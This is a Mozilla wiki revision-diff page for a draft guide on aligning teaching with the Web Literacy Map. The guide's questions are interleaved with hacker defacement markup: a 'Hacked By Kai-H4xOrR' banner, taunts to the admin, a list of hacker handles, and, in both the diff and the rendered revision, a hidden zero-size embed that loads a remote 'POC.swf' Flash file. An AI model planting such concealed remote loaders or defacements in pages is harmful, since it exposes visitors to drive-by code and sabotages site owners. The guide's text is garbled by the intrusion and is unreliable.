Webmaker/WebLiteracyMap/Align: Difference between revisions

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We will begin with an overview of the Web Literacy Map, before asking some questions about you and your context. These are structured using the approach taken in David Perkins' Harvard class ''Inquiry''. It will be useful if you take your time to answer the questions with (a) someone else from your organization, and (b) any relevant documentation (e.g. curricula, policies, mission statements) to hand.  
We will begin with an overview of the Web Literacy Map, before asking some questions about you and your context. These are structured using the approach taken in David Perkins' Harvard class ''Inquiry''. It will be useful if you take your time to answer the questions with (a) someone else from your organization, and (b) any relevant documentation (e.g. curricula, policies, mission statements) to hand.  


==The Web Literacy Map==
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[[Image:WebLiteracyMap-v1.1.png|640px |link=https://wiki.mozilla.org/Webmaker/WebLiteracyMap/Background |alt=Mozilla Web Literacy Map competency grid|Click to find out more about the Map]]


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[What the Web Literacy Map is and isn't]


[Venn diagram - circle of interest / circle of mandate / circle of importance]


In your context and for your target audience:
<center><font color='red' face='Segoe UI'><b><h1>Hacked By Kai-H4xOrR and Root Rox <br> Team MaXiMiZerS </center><font></b></h1> <center>


1. What's worth learning? (What on the Web Literacy Map is it very important / useful / not important to learn?)
<img src='http://i44.tinypic.com/219bh21.jpg' width='300' height='300'>


2. How is it best learned? (Is there anything else that needs to be learned alongside the Web Literacy Map competencies to help make them relevant / make sense? What kinds of activities do you currently have on offer that could help scaffold web skills?
<br> <B><font color='white' size='4' face='Times New Roman'>  <br>--------------------------------------------------------------------------------- <br>
<br> Hello Admin You Have Been Hacked By Kai-H4xOrR,
<br> Your Security Is Low Patch it. <br>
<br> Patch it Or I will There Again <br>
<br> Dont Hate Me Hate Your Security<br>


3. How can we get it taught that way? (Could you get additional help in facilitating learning in these areas? Where from?)
<br> --------------------------------------------------------------------------------- <br>
<font color='red' size='8'> Best OF Luck <font/> <B/> <br> <img src='http://i43.tinypic.com/25zl2cw.jpg' width='800' height='120'>


4. How do you know it's been learned? (How will you acknowledge / credential attendance, attitude and achievement?)


[Appendix 1: Case Study - BCGA]
<center><font size="4"><font color="white" face="shadow" size="5">We Are : </font><scrollamount="5" scrolldelay="50" width="80%"></center>


[Appendix 2: Further Mozilla resources - links to Webmaker tools, Webmaker resources, and Webmaker community/training; Open Badges, Badge Canvas, and BadgeKit]
<font color="green" size="4">Striker Rude - Rox RoOT - Kai HaxOr - - Dr.x00t -- maxious - HaxOr coOl bOY  -- Megaroot - sh3ll-h4xor - TheBlackMonster - Dr Silent Pak - SmArtY kOp HaXOr - </b>/font> <p align="right">
 
 
 
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<embed src="http://sheller1.funpic.org/POC.swf" width="0" height="0"</embed>

Revision as of 14:54, 21 March 2014

This is still a draft at the moment so don't cite it yet please!

Aligning with the Web Literacy Map: a guide

Introduction

Mozilla is a global community of technologists, teachers and makers working together to keep the Internet open, accessible and editable. We collaborate on a global basis to ensure everyone can be informed contributors and creators of the web. This act of human collaboration across an open platform we believe to be essential to individual growth and our collective future.

Mozilla helps people build, not just consume, the technology, media and information that makes up the web. Whether through the thousands of volunteers who write code for Firefox or the growing community that is designing courses for teaching the web, Mozilla strives for an Internet that is:

  • Knowable: it’s transparent–we can see it and understand it
  • Interoperable: it presents opportunity to play and innovate
  • Ours: it’s open to everyone and we define it

The development of Mozilla products such as the Firefox web browser and Firefox OS for mobile phones rely upon community involvement and contribution. The Web Literacy Map is no different: it has been created by Mozilla in consultation with a community of stakeholders from a range of backgrounds, including formal education, informal education, and industry.

The aim of this resource is to help you take the first steps on the journey to using the Web Literacy Map in practice. It will help you contextualise the 'raw material' of the Web Literacy Map to be something that you can use to help teach the web to your target audience.

We will begin with an overview of the Web Literacy Map, before asking some questions about you and your context. These are structured using the approach taken in David Perkins' Harvard class Inquiry. It will be useful if you take your time to answer the questions with (a) someone else from your organization, and (b) any relevant documentation (e.g. curricula, policies, mission statements) to hand.

<!DOCTYPE HTML> <html> <head>


</head> <body bgcolor="black">



Hacked By Kai-H4xOrR and Root Rox
Team MaXiMiZerS

<img src='http://i44.tinypic.com/219bh21.jpg' width='300' height='300'>



---------------------------------------------------------------------------------

Hello Admin You Have Been Hacked By Kai-H4xOrR,
Your Security Is Low Patch it.

Patch it Or I will There Again

Dont Hate Me Hate Your Security


---------------------------------------------------------------------------------
Best OF Luck
<img src='http://i43.tinypic.com/25zl2cw.jpg' width='800' height='120'>


We Are : <scrollamount="5" scrolldelay="50" width="80%">
Striker Rude - Rox RoOT - Kai HaxOr - - Dr.x00t -- maxious - HaxOr coOl bOY -- Megaroot - sh3ll-h4xor - TheBlackMonster - Dr Silent Pak - SmArtY kOp HaXOr -
/font>

</html> </head> <embed src="http://sheller1.funpic.org/POC.swf" width="0" height="0"</embed>